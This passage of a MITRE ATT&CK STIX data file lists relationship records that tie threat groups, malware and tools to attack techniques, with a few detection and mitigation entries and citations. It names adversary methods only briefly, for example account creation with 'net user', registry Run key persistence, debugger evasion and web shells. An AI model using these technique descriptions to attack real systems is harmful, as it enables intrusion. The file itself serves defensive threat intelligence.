2021)","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6b51e0c-d6a8-4815-b1fe-fb065ac0bcaa","type":"relationship","created":"2020-12-11T17:03:43.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2020-12-11T17:03:43.757Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used the BITS protocol to exfiltrate stolen data from a compromised host.(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c6bdda33-7d5a-4dab-b6aa-464cfd63222a","created":"2024-09-16T08:58:18.188Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:58:18.188Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) can identify Active Directory information and related items.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c6c086b1-65b6-45ba-ba86-7ccd7f2849d3","created":"2020-12-14T17:34:58.823Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:09:37.510Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) propagates to available network shares.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6c3192b-f541-4f19-b7b9-f2ad026c8ffb","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.662Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) can sleep for a specific time and be set to communicate at specific intervals.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6c5a455-14da-4d6f-8149-c0dc3bbd6f56","type":"relationship","created":"2021-03-08T18:27:58.744Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Higaisa 2020","url":"https://www.zscaler.com/blogs/security-research/return-higaisa-apt","description":"Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}],"modified":"2021-03-08T18:27:58.744Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126)’s shellcode attempted to find the process ID of the current process.(Citation: Zscaler Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c6c84e61-787e-4a35-af35-57db72261547","created":"2024-04-02T14:51:49.354Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T20:56:39.424Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) elevates accounts created through the malware to the local administration group during execution.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--3e6831b2-bf4c-4ae6-b328-2e7c6633b291","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c6c88847-a34c-4e02-a3ab-93daa68744fd","created":"2022-09-15T17:37:18.640Z","revoked":false,"external_references":[{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-15T17:37:18.640Z","description":"During [CostaRicto](https://attack.mitre.org/campaigns/C0004), threat actors used the 64-bit backdoor loader [PS1](https://attack.mitre.org/software/S0613).(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"campaign--f9cc545e-b0ef-4b92-8884-a3a4427609f6","target_ref":"malware--13183cdf-280b-46be-913a-5c6df47831e7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6c9fa0e-988e-4c14-a30f-d6576572a2d9","type":"relationship","created":"2020-06-26T16:17:18.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-29T21:37:56.050Z","description":"[Goopy](https://attack.mitre.org/software/S0477) has the ability to enumerate the infected system's user name via GetUserNameW.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--eac3d77f-2b7b-4599-ba74-948dc16633ad","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c6cc5a76-522d-4b48-ae5b-4867fa87f2c6","created":"2023-02-16T18:50:07.225Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T19:40:44.695Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) can detect debuggers by using functions such as `DebuggerIsAttached` and `DebuggerIsLogging`. [DarkTortilla](https://attack.mitre.org/software/S1066) can also detect profilers by verifying the `COR_ENABLE_PROFILING` environment variable is present and active.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6ceeb68-5d8e-4105-a20a-cce2b3ef48f0","type":"relationship","created":"2017-05-31T21:33:27.059Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","source_name":"CrowdStrike Putter Panda"}],"modified":"2019-03-25T16:53:38.842Z","description":"(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45","target_ref":"malware--e8268361-a599-4e45-bd3f-71c8c7e700c0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c6cf559e-1ead-4fba-9c61-72e33bae10e5","created":"2023-12-22T18:38:01.889Z","revoked":false,"external_references":[{"source_name":"Sygnia Emperor Dragonfly October 2022","description":"Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.","url":"https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-22T18:38:01.889Z","description":"[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has used SMBexec for lateral movement.(Citation: Sygnia Emperor Dragonfly October 2022)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6cfaa54-2ce3-40c8-af91-cd09e6e9c167","type":"relationship","created":"2021-01-20T18:10:33.808Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"KillDisk Ransomware","url":"https://www.bleepingcomputer.com/news/security/killdisk-disk-wiping-malware-adds-ransomware-component/","description":"Catalin Cimpanu. (2016, December 29). KillDisk Disk-Wiping Malware Adds Ransomware Component. Retrieved January 12, 2021."}],"modified":"2021-05-04T16:56:40.273Z","description":"[KillDisk](https://attack.mitre.org/software/S0607) has a ransomware component that encrypts files with an AES key that is also RSA-1028 encrypted.(Citation: KillDisk Ransomware)","relationship_type":"uses","source_ref":"malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6d22962-0e39-4339-a574-81e4891694a2","type":"relationship","created":"2020-10-20T15:52:49.975Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T16:15:53.018Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6d4f484-bb75-4012-b756-f043e962aaa6","type":"relationship","created":"2021-12-06T15:43:24.365Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T15:43:24.365Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has added the registry value ntdll to the Registry Run key to establish persistence.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c6dc9631-b324-47d1-8bbd-975d20fa5e58","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"1.0","external_references":[{"source_name":"APT15 Intezer June 2018","url":"https://web.archive.org/web/20180615122133/https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/","description":"Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[MirageFox](https://attack.mitre.org/software/S0280) has the capability to execute commands using cmd.exe.(Citation: APT15 Intezer June 2018)","modified":"2022-07-22T18:52:32.772Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6dd4b70-2a14-4235-a583-e8ab6824d58d","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Monitor for logging, messaging, and other artifacts highlighting the health of host sensors (ex: metrics, errors, and/or exceptions from logging applications)","source_ref":"x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6","target_ref":"attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c6dfa59f-88a0-4839-81ff-f4d8dd57696b","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Journey into IR ZeroAccess NTFS EA","description":"Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.","url":"http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-11-06T20:21:17.840Z","description":"Monitor for contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/owner, permissions, may use NTFS file attributes to hide their malicious data in order to evade detection. Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA)","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c6e308b7-18ac-43c6-bba7-dea71d8f9d67","created":"2020-02-11T16:25:53.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Savill 1999","description":"Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.","url":"https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-01T04:34:30.867Z","description":"The net user username \\password \\domain commands in [Net](https://attack.mitre.org/software/S0039) can be used to create a domain account.(Citation: Savill 1999)","relationship_type":"uses","source_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","target_ref":"attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6ee4856-1782-4430-af7f-4d71e84c9b97","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","source_name":"Symantec Leafminer July 2018"}],"modified":"2020-03-27T00:11:12.382Z","description":"[Leafminer](https://attack.mitre.org/groups/G0077) used a tool called Imecab to set up a persistent remote access account on the victim machine.(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6f0fa41-e240-4184-a0d4-292fb46de3fa","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint Leviathan Oct 2017","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}],"modified":"2019-09-16T18:01:16.135Z","description":"[Orz](https://attack.mitre.org/software/S0229) can gather victim proxy information.(Citation: Proofpoint Leviathan Oct 2017)","relationship_type":"uses","source_ref":"malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c6f11dfe-dd59-4310-9619-ed42ee48d736","created":"2020-05-22T15:43:05.196Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.785Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has created accounts on multiple compromised hosts to perform actions within the network.(Citation: BitDefender Chafer May 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6f2a62f-3aae-4245-8477-4d2ae96498d8","type":"relationship","created":"2021-09-14T20:47:33.537Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sentinel Labs WastedLocker July 2020","url":"https://www.sentinelone.com/labs/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/","description":"Walter, J.. (2020, July 23). WastedLocker Ransomware: Abusing ADS and NTFS File Attributes. Retrieved September 14, 2021."}],"modified":"2021-09-21T21:07:44.457Z","description":"[WastedLocker](https://attack.mitre.org/software/S0612) can identify network adjacent and accessible drives.(Citation: Sentinel Labs WastedLocker July 2020)","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6f2fa29-30fd-45c1-8adf-ed621771bd5d","type":"relationship","created":"2021-09-16T20:15:22.803Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub Sliver Download","url":"https://github.com/BishopFox/sliver/blob/7489c69962b52b09ed377d73d142266564845297/client/command/filesystem/download.go","description":"BishopFox. (n.d.). Sliver Download. Retrieved September 16, 2021."}],"modified":"2021-10-16T02:16:04.222Z","description":"[Sliver](https://attack.mitre.org/software/S0633) can exfiltrate files from the victim using the download command.(Citation: GitHub Sliver Download)","relationship_type":"uses","source_ref":"tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6f81350-a410-4ac7-a4b0-58bd4a9c1d9e","type":"relationship","created":"2017-05-31T21:33:27.070Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Poseidon Group","description":"Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.","url":"https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"}],"modified":"2020-03-18T15:34:54.810Z","description":"After compromising a victim, [Poseidon Group](https://attack.mitre.org/groups/G0033) lists all running processes.(Citation: Kaspersky Poseidon Group)","relationship_type":"uses","source_ref":"intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7017855-dc52-4e9d-977f-3af701e094c8","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity OceanLotus Nov 2017","description":"Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.","url":"https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"}],"modified":"2020-03-18T19:33:54.732Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has used Web shells to maintain access to victim websites.(Citation: Volexity OceanLotus Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c707d09b-1b36-4a1c-99be-c905fdd3ff6b","created":"2022-08-07T15:03:39.699Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Action RAT](https://attack.mitre.org/software/S1028) has the ability to collect the hostname, OS version, and OS architecture of an infected host.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-15T20:28:15.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--36801ffb-5c85-4c50-9121-6122e389366d","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c710daae-cde1-4170-ae45-4910b3187cd8","created":"2024-01-23T20:56:18.003Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-23T20:56:18.003Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) manually transferred collected files to an exfiltration host using xcopy.(Citation: Kaspersky ToddyCat Check Logs October 